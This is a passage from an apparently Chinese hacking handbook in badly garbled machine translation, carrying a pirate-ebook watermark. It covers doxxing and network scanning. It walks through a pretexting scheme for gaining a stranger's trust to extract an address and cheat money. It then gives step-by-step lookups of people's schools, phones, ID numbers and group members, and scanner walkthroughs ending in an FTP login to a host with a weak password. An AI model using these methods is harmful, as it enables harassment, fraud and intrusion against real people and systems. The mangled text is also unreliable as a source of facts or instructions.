behaved people use the search method, can help people solve many difficult problems in the vast net sea. But if malicious hackers using this search method, searching for that someone may be detailed information, including each other's position at present, all of the school or work unit, age, and telephone Numbers and other personal information, and then to harassment.

Below with a simple case to demonstrate the process of "human flesh search".

Assume that the attacker on QQ chat with a user, in the process of chat know each other from nanjing university of posts and telecommunications, and then tell each other their was the previous graduates of nanjing university of posts and telecommunications, ask yourself often goes to school near a name for the "2047" bookstore reading a book in the store. Each other after hearing these words, may be, thought really alumni, it is not secret and the attacker to chat up. When an attacker that has made each other's trust, will try to ask each other's personal information, such as home address, phone, etc. After get these information, the attacker will carry on the attack, to cheat money or achieve other purposes.

The attacker after know each other's detailed address, how to understand near nanjing university of posts and telecommunications information? The answer is very simple, through the Google search engine "maps search" function, can easily find out near the nanjing university of posts and telecommunications. In this figure can understand around nanjing university of posts and telecommunications, the route, let the person familiar with the surrounding commercial and traffic conditions. While the attacker mentioned "2047 bookstore", also can be found by searching for a specific position. Nanjing university of posts and telecommunications is located in the beautiful the way, you can enter in the search box "bookstore" beautiful road, can search to the results.

If the person still doubts to it, an attacker can also immediately name some landmark buildings near the school, to improve the credibility. The need to use the website "http://maps.google.com", it is Internet users often use Googleearth search (Google earth), it aggregate the satellite images, aerial photography and GIS, convenient user to see the earth image. But Google has not introduced in Chinese, can't see the geographic mark, you can also use the website "http://www.eemap.org", it is domestic Google enthusiasts to provide interactive map platform, as long as the input of a city or an area that can easily locate.

After open the web site <http://www.eemap.org>, enter in the web page in the top right corner of the search box "nanjing university of posts and telecommunications," and click "search" button, you can search to the nanjing university of posts and telecommunications, and the surrounding buildings. If the map is too small, unable to display the surrounding buildings, maps can be enlarged.

The second chapter comprehensive information search technology

Now there are more and more online services on the Internet, the use of these services can quickly find the information you need, such as network search human “Ucloo optimal library” and “ZhaXunWang” (ip138.com). This kind of search technology and web search engines, it is a kind of more niche search engine, can satisfy different needs. And web search engine can only meet the needs of ordinary users, weak pertinence, very general search results.

2.2.1 search hook to achieve snooping

Often contact hackers knowledge people all know that online has a name for “Ucloo optimal library website, it is the world’s largest Chinese search engine. In “Ucloo optimal library website registered users need to provide all kinds of information, and can choose the way with information display, according to the level of the user to display their own information. For registered users, can accept this way, many web sites provide similar functionality, to look for information or show individual character.

As a result of this website is for all users, and the website information is true, as a result, some bad people will use this website to search the user’s personal information, through the information again to attack the target. Here, for example, to search the name as “Cui Xin” user information, can open the website “<http://www.ucloo.com/>”, enter “Ucloo optimal library website home page.

Enter in the search box “Cui Xin” and click “search” button, can show all names in your web page for “Cui Xin” user data. To see, everywhere on the network, there is a danger and traps, must always be vigilant, avoid giving criminals have a chink in the wall.

2.2.2 chinaren peeping in the information

On the Internet in addition to baidu space, sina weibo often mentioned, there are two very popular website, QQ alumni network and campus network, web site is <http://xiaoyou.qq.com/> and <http://www.xiaonei.com>, respectively. These two website for now may be read university, or who are working in company provides a good platform, through this platform, can find a friend or have childhood friends. Because the two web sites provide alumni name query directly, can query to the user’s school and class, and the user’s contact information, home address, date of birth, etc.

Although the two sites may have some problems in the search results, has certain limitations, but this does not affect its use value. Take a look at how to search through the two website user information.

1. Search information in the QQ alumni network

Searching for information in the QQ alumni network, can open the first web site, <http://xiaoyou.qq.com/>, and then use the QQ login and register a user. Click “login” button, enter QQ users of alumni page, page and click “search” button to the right of the text box at the top right-hand corner.

In the “to” page, can be imported by the user’s “name”, “gender”, “age”, “university”, “school year”, “college” and other information to precise search. Here, for example, to search in the QQ alumni network user name as “zhang Lin”, can be in the “name” text box input “zhang Lin”.

Click the “search” button, you can find all the user information is called “zhang Lin”. Can be seen from the diagram, the page the user information is very detailed, not only shows the user name of the school, who now lives in, some users of information also shows the user’s hometown.

2. The school Intranet search information

Open the campus web site, <http://www.xiaonei.com>, enter the main page, and on the web page on the left side of the “search” in the text box input to query the user’s name, such as “Zhao Mengmeng”.

Click “search” button to display the search results page, in the pop-up shows all name in search results for “Zhao Mengmeng” details of the user.

If users want to narrowing the scope of the query, make the results more accurate, can be in the “filter” bar set in the filter condition, search qualified users. Here, for example, set filter to “age” in 16 and 22, “home” for the henan zhengzhou, then click on the “filter” button, you can select eligible users. It can be seen that installed filters, small scope of the search results.

2.2.3 images can also search

For the search of the picture, can choose Chinese search engine baidu, yahoo's search engine, Microsoft Live search engine and the Google search engine, etc. Actually should choose which search engines? Through a form below to get to know all kinds of evaluation of search engine.

Google's self-proclaimed "best image search tool" on the Internet, from the point of use results, Google image search is really good. In the Google home page, click on the "image" link, and then went into the image of the Google search interface.

Described in the "search" in the text box input image content keywords, such as "the matrix", can search to a large number of "hacker empire field" related images.

Google image search results with an intuitive thumbnails, and a simple description of the thumbnail, like file name, size, etc. Click on the thumbnail, the page is divided into two parts, one part is the image thumbnails, and page links, and another is the image of the page.

Google image search currently supports syntax includes basic search syntax such as "", " - ", "OR", "site" and "filetype:". Among them "filetype:" suffix is only several qualified similar images, such as JPG, GIF, etc.

2.2.4 blog and BBS search

Blog is a web page, it is usually made up of short and updated frequently Post, these articles are posted in accordance with the date and year. Blog content and purpose are quite different, from the links to other web sites and reviews, news about the company, individuals and ideas to the diaries, photos, poetry, prose, and even science fiction published or posted. So, blog is a weblog, is also a kind of communication platform.

Blog search there are two ways, one is to service providers, such as user register a sina blog, you can use the sina blog search to the user's blog; Another way is through a third party search engines, such as using Google blog search function.

BBS BBS BBS, also known as network is a kind of electronic information service system on the Internet. It provides a public electronic whiteboard, each user can write on it, can release information or put forward views, is a kind of interactive, rich in content and timely Internet electronic information service system. Users can get all kinds of information on the BBS site service, release information, discuss, chat, etc. BBS search also have two ways, one is the use of BBS's own search function, another is the use of

third party search engines, such as qihoo BBS search engine.

free ebooks ==> www.ebook777.com

But now on the Internet is more popular blog search engine baidu and Google, and BBS more excellent is qihoo in search engines. In the baidu search network ID to “wake up the guest eye” blog, search results shows this ID often go to BBS and post information; In the Google search network ID to “wake up the guest eye” blog search results.

2.2.5 BBS program information search

BBS is indispensable to the world of modern network online communication tools, using BBS's own search function to search the information is already well known. In general, through the BBS search for each other all Posting records and final Posting time, in addition, can also see the other side of the post, which is found from the reply post each other's friends.

To search information in the BBS, usually in the BBS forum homepage of the “search” to the text box input search keyword. But in the search, the first choice is good according to the author search or search by subject, and select the article in the discussion area. If you don't choose, is the default for all in the BBS discussion within the scope of the search. Finally, enter keywords in the text box, click the “search” button.

It is important to note that the search for full name search by author, namely must complete the correct username, to find the relevant authors; By topic search for fuzzy query, that is, only need to fill in the article topic contains keywords, you can query to the relevant articles. Below to “community of China's leading IT technology — CSDN” BBS as an example, introduces how to use the BBS to search information.

Steps in 01 CSND BBS registered a user name, and use the user name login BBS, enter the BBS home page. Can be seen in CSND BBS above provide search function, input a keyword in the text box, you can search within the entire site.

Step 02 directly click here “site-wide search” button after the text box, you can enter “CSDN BBS search” page.

Step 3 click the “advanced search” button in a web page, can enter the page of “CSDN advanced search”, in which the users that can be in accordance with the user name or reply content such as search articles. Here, for example, users that want to search for “converf” Posting record, in the “post” in the text box input the user name, search date set in the “date” column, narrow your search.

After the completion of the step 4 in the Settings, click the “search” button, users that can be “converf” post search out.

To users post search out, after analyzing the content of the posts, to find information.

2.2.6 IP address, id card and mobile phone number query

Before the hacker attack, usually need to know each other’s privacy information, such as mobile phone number, IP address or id number, etc. To obtain these important information, actually very simple, need only through the “ZhaXunWang” (ip138.com) can query to, the site provides a query services such as IP, identity CARDS, mobile phone number.

Respectively introduce query through the website below mobile phone number, IP address and id card number.

1. The IP address query

Open “ZhaXunWang” web site, the web page of “IP address or domain name” text box input to query the IP or domain name. Click the “search” button, on the page will show that to query the IP address of the location.

2. Phone number query

Will “ZhaXunWang” scroll bar down to see the phone number query, in “the mobile phone number ()” in the text box input to query the phone number. Click the “search” button, can be displayed in a pop-up page to query the detailed information of the mobile phone number including the card number belongs to, card type, the area code and zip code.

Mobile phone number for detailed information

3. The id number query

Id number query is also very simple, under the page of “domestic id card number validation query” column in the input to query id number, click the “search” button, you can find the id number of detailed information, including gender, birth date and

certification, etc.

free ebooks ==> www.ebook777.com

Most of the query returns real name, this is for the sake of users' privacy.

2.2.7 QQ group information search

QQ's market share is very high at present, the first began to use of the Internet, basically starts from the QQ chat, search, E-mail, etc. If we through QQ the channels, and ultimately to find real want to tracking information.

QQ group is for the convenience of instant communication with people, by the common interests of small groups composed of QQ users. QQ group search function is very powerful, through the search keywords, can search out all the possible existence of QQ group. Find conform to the requirements of the QQ group and to join in, can further dig up information.

For example, to find the members in the “zhengzhou science and technology market” “zhengzhou Theodore trade”, through the survey compiled to search the key word for “zhengzhou science and technology market”. Through the examples to introduce the method of using QQ group to search information.

Step 01 in IE browser address bar, type <http://qun.qq.com>, you can open the QQ home page.

Step 02 in the home page “you find of interest group” in the text box input keywords “zhengzhou science and technology market”, and click the “find a group of” button, you can find all the QQ group associated with the keyword. In the search results carefully to find can find related to the “zhengzhou Theodore trade” QQ group.

Step 3 to see “zhengzhou science and technology market” group, group no. 65114610, in the “search” input group no., you can search the group details. As you can see, the group of the group of limit at 100, members of 99 people, group of the Lord as the “science and technology talent,” group of type is “normal”.

Step 4 the following query function, can use QQ group no. The creator's QQ number. “Find” button on the panel, click on the QQ in the pop-up dialog box in the way of “find” choose “accurate search”, and in the text box input group no. “group number”.

Step 5 click 【 looking for 】 button, can be in the pop-up dialog box shown in the search to a group.

Step 6 double click the group of information in the list box, in the pop-up dialog group setting 【 shows the “zhengzhou science and technology market” group of detailed information, including the number of the founder of QQ.

After the found of the founder of QQ number, you can add as a friend and ask for the “zhengzhou Theodore trade” of the group members contact information. Other forms of search is roughly same, in general, has been to BBS administrator will create their own QQ group, with a little investigation, can get the detailed information of the group.

2.2.8 microblogging search

Microblogging is a relationship based on users of information sharing, communication and access platform, users can through the WEB, WAP and various client component individual community, with brief text updates, and realize the real-time share. In August 2009, China's biggest web portal sina launched “sina weibo” closed beta version, becoming the first microblogging service in portal site, weibo officially entered the Chinese mainstream view online.

Micro-blogging is more and more popular choice because its simple and easy to use, there are two aspects of meaning: on the one hand, it is relative to the emphasis on blog page layout, weibo content composition is just a simple word composition, from this perspective, the technical requirements of the user threshold is low, and in language organization, no blog is so high; On the other hand is the micro blog also added information transmission time, basic can be calculated in seconds, can be in any place by mobile phone or network to instantly update their personal information.

Here are two of the more popular micro blog, Twitter and sina weibo.

1. The Twitter

Twitter (English: Twitter) is one of the foreign social networking and microblogging service website, which USES the wireless network, cable network, communication technology, instant messaging, is the typical application of micro blog. It allows the user to its latest news and ideas in the form of short messages sent to the cell phone and personalized website group, and not just sent to the individual.

The new Twitter page will search function placed in the center of the page, in this way, the user without login to retrieve real-time information on Twitter, the information below will display directly on the front page.

Twitter search results will often use keywords or the basis of the current events, but some other factors may also affect the search results, such as the number of users have to follow, the author in the Twitter network of prestige, the number of post reply, Posting frequency can be used in statistics.

Below to “Twitter website in China” as an example, to introduce the Twitter microblogging search function.

Steps to register and login 01 “Twitter website in China,” into the Twitter page. The top right corner on the front page can be seen with the “search” function, in the text box input the user name to search, such as “YiMi”.

Step 02 click “search” button, you can search to the user. And then click the head of the user or the user name, you can enter the user space, view the details of the user.

Step 3 in the middle of the “Twitter China website home page also has a search function, in the text box input to search keywords, such as” social engineering attack.” Then click on the “Google search” button, you can search out the associated with the keyword in Google page.

In weibo, according to the user ID or the name space can search to the specified user space, in order to view the details of the user. Tencent microblogging, in addition to doing not protect user privacy, all the other micro-blogging provides privacy protection, the need to log in and add as a friend, to view more detailed information.

2. Sina weibo

Sina weibo is a cooked up by sina, provide class micro-blogging service Twitter. The user can through the web, WAP pages, SMS/MMS messages or upload pictures, will see, hear, think of things written as one word, or send a picture, by computer or mobile phone to share with friends anytime and anywhere.

Similarly, in the sina weibo can also through the search function to search information, but need to register and login to sina weibo. Log on sina weibo, access to its home page, in the

“search” at the top right of the page text box can enter the keywords to search, such as “qianqian,” in the input at the same time, in the drop-down list box of a text box will be asked to select the user search.

Choose “called qianqian here” and click “search” button, the user name is showed in the page or domain name for “qianqian” users.

The third chapter portal search technology

Although now the professional search engine instead of portal search is the trend of The Times, but the portal search still occupies important position in the field of network, using the portal site search is still very popular search technology. This is because they provide a number of services, service content, become the online world “department store” or “network supermarket”.

2.3.1 portal search overview

Web portal is to point to to some sort of Internet information resources and provide relevant information comprehensive service application system. Portal initially provide search service, directory service, later, as the market is increasingly competitive, portal had to quickly develop a variety of new types of business, hope that through many kinds of services to attract and retain the Internet users. This is the survival of the portal. If the service provided more, users use longer, portal website, the more benefit you will get the advertisement cost is higher accordingly.

In hacker penetrating attack with invariable rule, namely the “open system of service, the more the more easily lead to invasion”. Similarly, portal door services, the more the better for users to search the user information. Portal site provides not only the main search services, such as Web search, image search, music search, information search, yahoo search, the address bar search, also provides personal blog, chat, E-mail, network storage, online games, and Web services.

Now portal operator in the present network environment, in order to get the user will make them to register a ID, which account, use the user name login, to use their services. When unable to examine the information of a person, can in the portal to register a ID, reuse ID query information in the portal, the result could be a surprise.

2.3.2 QQ information fairly

In general, from tencent QQ spying on the portal site information, mainly from the other side of the space information, such as log, album, character signature, guestbook, etc. The service will be the opening of the QQ each other, we can through the software or other tools to query each other related records, such as QQ information fairly. This software can query designated QQ number space and photo albums, surging, history and the signature, can also be a temporary session to others, whether query each other online, etc.

Here is to use the QQ information fairly query method.

Step 01 opened QQ information fairly.

Step 02 QQ number in the text box input to query the QQ number, and then select the relevant service query, such as to query the QQ space information, click the [Q - zone] button, can open the space, view the log in a space, photo albums, message boards, say, personal files, etc.

Step 03 after the open space of the QQ number, click on the [about] button, you can view the history of QQ signature, the signature from which all can see each other in the history of the. These records is user until now psychology behavior process, master these information, can more easily understand the users' privacy.

Step 4 to query the QQ number "flow" of the service, click the column of "see the Q, service" [at] button, can see the other published surging.

Using this software can inquire QQ user information, grasp the dynamics of each other. So, can't completely trust this portal, although its function is very powerful, but it is a information leakage point of entry.

2.3.3 well-known portal search: netease, sina, sohu, and yahoo

China's earliest Internet culture starts from the portal site, they are contributing to the advance of the domestic network development. Well-known portal website mainly have sina, yahoo, netease and sohu net, the portal site services very much, but they have different emphasis.

1. Sina

Sina website has several regional website, to provide all kinds of information classification, the network media as the main characteristics of the comprehensive portal.

2. Netease

Netease is the online community, network game as the main business of comprehensive portal, general netease mail users.

3. Yahoo!

Yahoo provides services including search engine, E-mail, news, etc., operations in 24 countries and regions, for the world's more than 500 million unique users provide diversified network services.

A categorized list of yahoo! Search mainly includes the following several aspects.

(1) the search business

Yahoo's search business includes web search, image search, music search, information search, yahoo search, the address bar.

(2) portal yahoo business

Yahoo's portal business includes financial channel, sports, entertainment, search information and so on.

(3) the yahoo email

Yahoo email is a leading global free email services.

4. Sohu

Sohu interactive search engine — the world's first third-generation sogou, its product line includes two most web application and desktop application. Web applications with web search as the core, in the field of music, pictures, news, maps provide vertical search

services, through the example set between the user's search model community; Desktop applications are designed to improve the user experience, so you too can help users quickly start the search, pinyin input method to help the user to input, the faster the PXP acceleration engine to help users more smoothly online audio and video broadcast, on-demand services.

Understand the assumptions that the portal services, know one's ID, you can query the ID is in using the portal site service, such as blogs by ID to find each other, can be more understanding of each other's information from the blog content.

2.3.4 high-end portal search: Google and Microsoft

If domestic portal site services to meet the needs of most ordinary users, Google and Microsoft's two big services provided by the software giant is more popular with the high-end users.

Internet users in the high-end user refers to income is higher, the group with high purchasing power and consumption potential, mainly domestic high-end users is given priority to with business people and IT personnel, therefore, is the most high-end community, the value of Internet users is also the focus in the field of target customers a variety of network application.

High-end users search in the search content with the rest of the population have some differences, such as high-end users search for the use of the search engine more used to the work and life information acquisition, high-end users to a search engine is applied to the more specialized information, news and information, foreign language information, as well as related to travel, shopping and so on information acquisition aspects of life, and the use of search engines in the entertainment search services less than other people. With the high-end users with other people in the use of the Internet is closely related to the differences, the high-end user's network application focus more on its auxiliary in life, the value of information channels, as a result, international companies to provide network services more they like, can maximize to protect their privacy and data security.

Two Internet giant Google and Microsoft what are the main services provided? The following simple introduce its service and profile.

1. Microsoft

IM chat MSN Microsoft is the world's most users communication tools, like Google

Google talk chat tools, they all use email as a login account, you can work with relatives, friends, partners for text chat, voice dialogue, instant communication such as video conference. In addition, of course, Microsoft introduced network services, such as Office services, Live service, free Internet phone services, these services are very good.

To use Microsoft for information query, can open the first Microsoft's official website. We can find that, in the middle of the page there is a search box, in which input to query keywords, such as "social engineering", can search to the related content.

2. Google

Google's web services similar to Microsoft launched, and better than Microsoft. But due to various factors, ordinary users to Google and Microsoft launch services to know very little.

The fourth chapter expert class (common problems and solutions)

It seems 1: in the use of "ZhaXunWang" (ip138.com) query id number, if have been someone's real name and id number, how to view pictures of each other?

Answer: open the web page "http://qq.ip138.com/idsearch/", you'll see information about id card for verification of the query service, the service is provided mainly by the ministry of public security, is a paid service. Mobile, unicom users to edit "YW name id number" to 10665110, for example, a user wang gang need to query, then simply enter "" YW wang gang 360189890055555555 to 10665110, this query service 5 yuan will be deducted from the user's mobile phone.

Inspiration. 2: how to query the domain name registration details?

Answer: query whether the domain name has been registered, and the details of the registered domain name, can use "Whois domain name - webmaster tools". Say simply, Whois is one can query the domain name registration details, such as domain names, domain name registration, domain name registration, all date and expiration date of the database.

In your browser's address bar enter the url "http://whois.chinaz.com/Default.aspx", you can enter "Whois domain name - the webmaster tools home page," in "please enter the domain name" to query text box input domain, such as "nuannuan.com". Click "query"

button, you can check the domain name registrant information in the browser.

free ebooks ==> www.ebook777.com

Example 1: the first chapter using SuperScan scanning ports

SuperScan port scanning tools can not only by the Ping test IP whether online, to convert each IP and domain name, inspection target computer services category and must be within the scope of the target computer does online and port condition, can also be customized to port inspection, list file and save it to port. In short, as SuperScan security tools, can help users find weaknesses and vulnerabilities in the network. Look at the below the specific way of using the software.

Step 01 double-click SuperScan software installation program icon. The default display of “scan” TAB, the TAB can be used for port scan.

Step 02 before scanning, the first thing to do is to scan tasks option Settings. If you want to scan for the IP address of the target host, can be in the “host name/IP” text box input to scan the host name or IP address. If you want to scan for a website, can be directly in the text box input the website url, then click the button, to scan the IP address of the site added to the list on the right side of the box. At this point, the site’s IP address will be shown in the list box on the right.

“Tip”

SuperScan software can only scan other host, can’t scan the machine, as a result, when set to scan the IP address of the host, should avoid to enter the IP address of the machine.

Step 3 if you want to scan the IP address of the specified range, can be in “start IP” and “end” IP text box input respectively to scan the beginning of the end of the IP and IP, click the button, will scan the IP address range is added to the list on the right side of the box.

Step 4 if in advance to save in the file is to be added to the list box on the right side of the IP address, click the “IP address read from the file” button, the “OpenIPtextfile text box, select the” save the IP address of the file.

Step 5 click “open” button, you can add files in the IP address to the IP address on the right side of the list box.

Step 6 will scan the IP address of the setting is completed, need to scan option of host and server Settings. Switch to host and service scan setting] 【 TAB, the TAB can be used to set the host and service options, including a list of port type and port to scan. In the “search host” option area can be selected according to real need of the corresponding checkbox, such as “timestamp request”, “address mask request”, “information request”, to improve the accuracy of the search host information. But the more option selected, the scanning time will be long.

Step 7 in the UDP port scanning “and” TCP port scan “option in the area can be set respectively to scan the UDP or TCP port port list, can enter start ports and end ports to scan. If you don’t enter start ports and end ports, will be on the right side of the scan all ports in the list box. Similarly, also you can click “port read from the file” button, from text type port list file to import to scan ports.

Step 8, respectively, in the “timeout” text box input scan timeout waiting time, in the “scan type” option area, can choose according to the actual situation of different scan type. If the TCP port scan, set the scanning type to “SYN”, can not return all scans; Set scanning type to “direct connection”, although able to obtain the correct scan results, but security is not high, the use of this scan mode is easy to be noticed. In general, according to the default Settings.

Step 09 switch to the “scanning options” TAB, the TAB you can set the scan test open host or frequency of services, resolve host name the number of times, access to TCP or UDP marks timeout, and the speed of the scan. If the user is not interested in not open port of the host, can be selected on the left side of the option “hide not open port of the host” of the area of the check box; To set the scanning speed, can drag area on the right side of the slider to adjust.

“Tip”

When set the scanning speed, the faster scanning speed, scanning the lower accuracy of host information, therefore, the user Settings should be carried out according to the actual situation.

After completion of step 10 on the scan option is set, click the button at the bottom of the dialog box, you can start scanning, scan results will be shown in the list box, you can see in which the target host of the host name, such as open port information.

Step 11 click the button to view the HTML results] 【 , can make the results of the scan showed in the form of web pages, in the scan results clearly shows the host on the

target host name, MAC address, the user account and open ports.

free ebooks ==> www.ebook777.com

Chapter 2 example 2: using X-ray Scan to detect security vulnerabilities

X-ray Scan, the scanner is a very good using multithreaded way to specify the IP addresses security vulnerabilities detection or single, support plug-in function. Scanning include: remote service type, operating system type and version, all kinds of weak password loopholes, the back door, application services vulnerabilities, network equipment hole, denial of service vulnerability, such as over 20 categories, can detect the target host vulnerability in all aspects, at the same time also gives the corresponding loopholes solution.

Know about the specific X-ray Scan software under the method of use:

Step 01 double-click X-ray Scan software installation program icon.

Before using the software scan step 02, must first to set the scan option. Select “Settings” - > “scan parameters” menu item, you can open the scan parameters 【 dialog. The default display interface detection range, in the “specify the IP range” independent IP address or domain name text box input, also can be input to a “-” and “,” “the IP address of the separation section, such as” 192.168.0.1-192.168.0.12 “or” 192.168.0.1-12192168. 1.1 192.168.1.18 “(two separate network segments).

Step 3 in the list on the left under “global Settings” in “scan module” option, in the middle will be displayed in the list of the specific content of the module. Here you can choose the scan need to load the plug-in, click on any one plug-in, in the list on the right displays the corresponding plug-in described in detail. According to the actual needs, select the check box before to load the plugin.

Step 4 choice under “global Settings” in the “concurrent scan” option, will be displayed in the area on the right side of the detailed contents of the module, here you can set the maximum concurrent scanning number of hosts and the number of concurrent threads. The default for the greatest number of host to 10, the maximum number of concurrent threads to 10, the user needs to according to the performance of the computer configuration is modified, because these Settings by hardware and broadband. Generally don’t set the thread is too big, lest affect scan results.

Step 05 choose “global Settings” “scan” option, in the “file type” drop-down list with TXT, HTML and XML3 option, choose “HTML” option here. If the selected “scanning

generated automatically and displays a report after the completion of” check box, at the end of the scanning will automatically in the form of web page displays a scan report.

Step 6 choice under “global Settings” in “other Settings” option, if you choose “skip unresponsive host” option, X-ray Scan will go to ping the host, if there is no response, will skip the detection of the host; If you select “unconditional Scan” option, even if the other party no response, host X-ray Scan will forced to Scan the IP address of each host.

Step 7 list on the left under “plugin Settings” in the “port Settings” option, in the “port” to be detected in the text box can set the port scanning, with a comma between each port number.

For ordinary users, you can use the default Settings. In the “test mode” drop-down list with TCP, the SYN two options. If choose the way to TCP, the sweep out more detailed and reliable information, but not safe, easy to be found the target host; If choose the way to the SYN, sweep out the information not detailed, there may be omitted, but scan safer, not easy to be found. Choose TCP way here, and then select the check box, “according to the response identification service” so that when scanning the object service port changes after scanning software strategy will automatically adjust.

Step 08 choose “plug-in Settings” under the “SNMP associated Settings” option, shown in the list box on the right to test the SNMP information, the user can choose according to need corresponding option.

Step 09 choose “plug-in Settings” under the “NETBIOS related Settings” option, shown in the list box on the right to test for a NETBIOS information, the user can choose according to need corresponding option.

Step 10 choose “plug-in Settings” under the “vulnerability detection script Settings” option, and select the “all” on the right side of the check box.

Step 11 to choose “plug-in Settings” “CGI associated Settings” option, leave the default Settings.

Step 12 selection under “plugin Settings” in the “dictionary file Settings” option, listed in the list box on the right side X-ray Scan is used in various types of dictionary files. These dictionaries are built-in, users can be found in the program files directory corresponding corresponding dictionary of text files, modify the corresponding dictionary files.

Step 13 click [sure] button, return to X-ray Scan software in the main window and click the button, or select file -> start scanning menu items, namely according to a set scanning.

Step 14 after the scan is complete, in the form of web pages automatically displays a scan report. From scanning results showed that the IP address for 192.168.0.11 host security vulnerabilities, and its security holes is red, explain the situation is serious.

Step 15 click 192.168.0.11 links, will jump to the analysis of the host list. Find a loophole in the red, you can see the scanned host has weak passwords. This weak password security vulnerabilities that can easily be a hacker, invasion of the user's server and upload some trojans and viruses, the threat to user's computer.

Hackers are how to take advantage of weak password invasion of the user's server? To introduce the following specific ways of invasion.

Step 01 open the IE browser, type FTP://192.168.0.11 in the address bar, and press "Enter" button.

Step 02 in open a new window, right-click on the shortcut menu, select "login" menu item, open the "login id" dialog box, in which the input is detected weak password account and password. If the login is successful, you can free to upload or download files in the user's computer.

The third chapter example 3: using SSS scanning loopholes host

SSS (ShadowSecurityScanner) is a very professional system vulnerability scanning tools, it can be used for a wide range of system vulnerabilities in the safe, efficient and reliable safety test. Including ports to detect, banner detection, CGI/ASP weaknesses, (pop3 / FTP password cracking, denial of service) detection, operating system, NT Shared/user detection, etc., and to detect loopholes, have detailed instructions and attack methods.

To introduce the following SSS software of each function option is set and the method of scanning loopholes host.

Step 01 will download extract SSS software package, and install, then run the software.

Step 02 select “Tools” - > “Options” menu item, open the dialog SecurityScannerOptions] [. The default selection on the left side of the “General” option on the list, this option is used to set the scanning speed. Drag the corresponding option in the options on the right side of the area of the slider, you can adjust. Where “Threads” means the number of Threads, the smaller the number of Threads, scanning the slower, the quality of the scan is higher; “Modules” said scan module; “Totalthreads” said to the total number of threads.

Step 3 select the “Scanner” option in the left list, tick in the options on the right side area “AutostartafteraddingIPAddress” and “Deleteemptyhostaftercompletingscan” check box, in the region of the “Protection,” option is selected in “Passwordprotectionofprogramstartenabled” checkbox, at this time will pop up a dialog box, require the user to enter the password.

Step 4 in the input is completed, click the “Ok” button, you can create a password. If to change the password of the created, can click “ChangePassword” of the area of the “Protection,” option button and enter the original password in the pop-up dialog box and a new password. If you want to cancel has been set the password, can only enter the original password in the dialog, then click “Ok” button.

Step 5 choose “Scheduler” option in the left side of the list, the default option in the on the right side of the screen “Calendar” TAB, the TAB display is a date in the panel. Can set a certain date in the panel to perform a specific task, such as to set up the task of June 13, 2010, can adjust the date to the first in June 2010, double click on the panel date of “13”.

Step 6 now can pop-up dialog box, Schedulertasklist] [click [Addtask] button, can open the dialog Addnewtask] [. Switch to the “Whentostart” TAB, in the “Schedulertask” drop-down list, select the “Once” option, perform a task; “Hourly” said by the hour for the unit to perform a task; “Daily” said days as the unit to perform a task; “Weekly” said to perform a task in week; “Montly” month as unit to perform a task. Then in the “Starttime” numerical box input task execution time to start.

Step 7 to switch to the [Whattodo] TAB, in “do, selectruleforscan” drop-down list, select “CompleteScan” option, said full scan. Including full scan “FullScan”, “QuickScan” said rapid scanning, “OnlyNetBIOSscan” said only NetBIOS scan, scan “OnlyFTPScan said” only for FTP, “OnlyHTTPScan” said only scanned for HTTP.

Step 018 click [Addhost] button, can open the dialog Addhost] [. Select the “Host” option, and in the “NameorIP” text box input an IP address, so, only when the scan scan of a fixed IP address. If selected “Hostrange” option and enter below start IP and end IP, is to set the IP address of the scan.

Step 09 click “Add” button, return to [Whattodo] TAB, you can Add the IP address of the input to the “Hostlistforscanning” list box.

Step 10 switch to the “Alert” TAB, and click “Add” button, Add and set the content of this TAB.

Step 11 open [NewSchedulerAction] dialog box, in the “Username” and “Password”, “Mailfrom” and “Mailto” text box input user name, Password and email.

Step 12, click the “Ok” button to return to “Alert” TAB, you can add the content of the set to “Actionsaftercompletescan” list box.

Step 13 click “Ok” button to return to [Schedulertaskslist] dialog box, can complete the task of specified date set.

Step 14 click “Cancel” button to return to [SecurityScannerOptions] dialog box, in which the choice “Autoupdate” option in the left side of the list, check “Checkforupdatebeforestartingthescanner” checkbox in the the right side of the screen.

Step 15 choice “contributor” option in the left side of the list, in drag the slider to the right of the screen, set found port, the weaknesses, the voice prompts.

Step 16 set is complete, select “Namp” option in the left list, leave the default Settings, and click “Ok” button.

Step 17 in the main interface, select the “Tools” - > “Rules” menu item, you can open the dialog SecurityScannerRules 【 】. The default selection on the left side of the “General” option on the list, check in on the right side of the interface “Scanallportsinrange” check box, then scan all ports.

Step 18 selection on the left side of the “Description” option on the list, in the right side of the interface shows the Description of the options, users can use the default Description.

Step 19 select “Modules” option in the left side of the list, choose to scan module in the right side of the interface. Selected module, the scanning time will be longer, but the scan results will be more detailed.

Step 20 choose “Ports” option in the left side of the list, in the on the right side of the screen lists all common Ports and each port description information, the user can add new port and their descriptions. Click “Ok” button, can complete the set of all the options.

After completion of the set, you can use the SSS software scanning loopholes, the specific steps are as follows:

Step 01 in SSS software main interface, click the button to open the dialog Newsession] [.

Step 02, click the “Next” button in the pop-up screen click [Addhost] button, can open the dialog Addhost] [. Select the “Host” option, in the “NameorIP” text box input to scan the Host name or IP address.

Step 3 click the “Add” button, return to [Newsession] dialog box, you can Add the IP address of the input to the “Host” list box.

Step 4, click the “Next” button in the open window, click the drop-down button Startscan] [, underneath the drop-down list to select “Scanall” option, you can start scanning, the status bar at the bottom of the window will be displayed in the scan progress, the number of threads, and need to detect a total number of jobs.

Step 5 after the scanning, the window on the right side of the list box will show the scan results, including computer system information, share information, TCP open port and open UDP port, etc.

Step 6 to switch to the “Vulnerabilities” TAB, if scanning loopholes exist in the computer, will see scan vulnerability here; If no loophole, here without any content.

The fourth chapter example 4: using SimpsonsCGIScanner scanning loopholes CGI

CGI (CommonGatewayInterface) vulnerability is a Web server to the user in the input address parsing errors caused by, but the CGI hole is not the default, only satisfy certain conditions.

At least one low machine. Bat or. Com file, and the size of 0.

When this file must be in c:\inet ***, below, cgi-bin below the default directory.

When hackers must know the file name and path.

When machines are not patched.

If CGI loopholes exist in the computer, will be hackers use, and then to attack the target host. As a result, the user needs to find the tool that can scan CGI hole, vulnerability scanning that exist in the target site first, then find a solution according to actual situation. Simpsons' CGIScanner is a special software for vulnerability scanning CGI, before using the software vulnerability scanning CGI, CGI vulnerability scanning principle under the first to get to know.

Is the Web browser to HTTP work, normal request is similar to the GET/INDEX HTMLHTTP / 1.1, then request to the server returns the INDEX. The HTML page. But if this page does not exist, such as wrong: GET/KKKKK. FFFFHrI1P / 1.1, the server will tell the user can't find this page. If the requested page, the server returns the data contained in the 200 ok, but if not, contains 404 error.

CGI vulnerability scanner can be realized through such a process to detect a leak exists. And server connection is established first, and then send the request GETSOMEHOLESHTTrP / 1.1. If the data returned is OK, just show loophole, otherwise it does not exist. Here is using the Simpsons' CGIScanner scanning loopholes specific operation method.

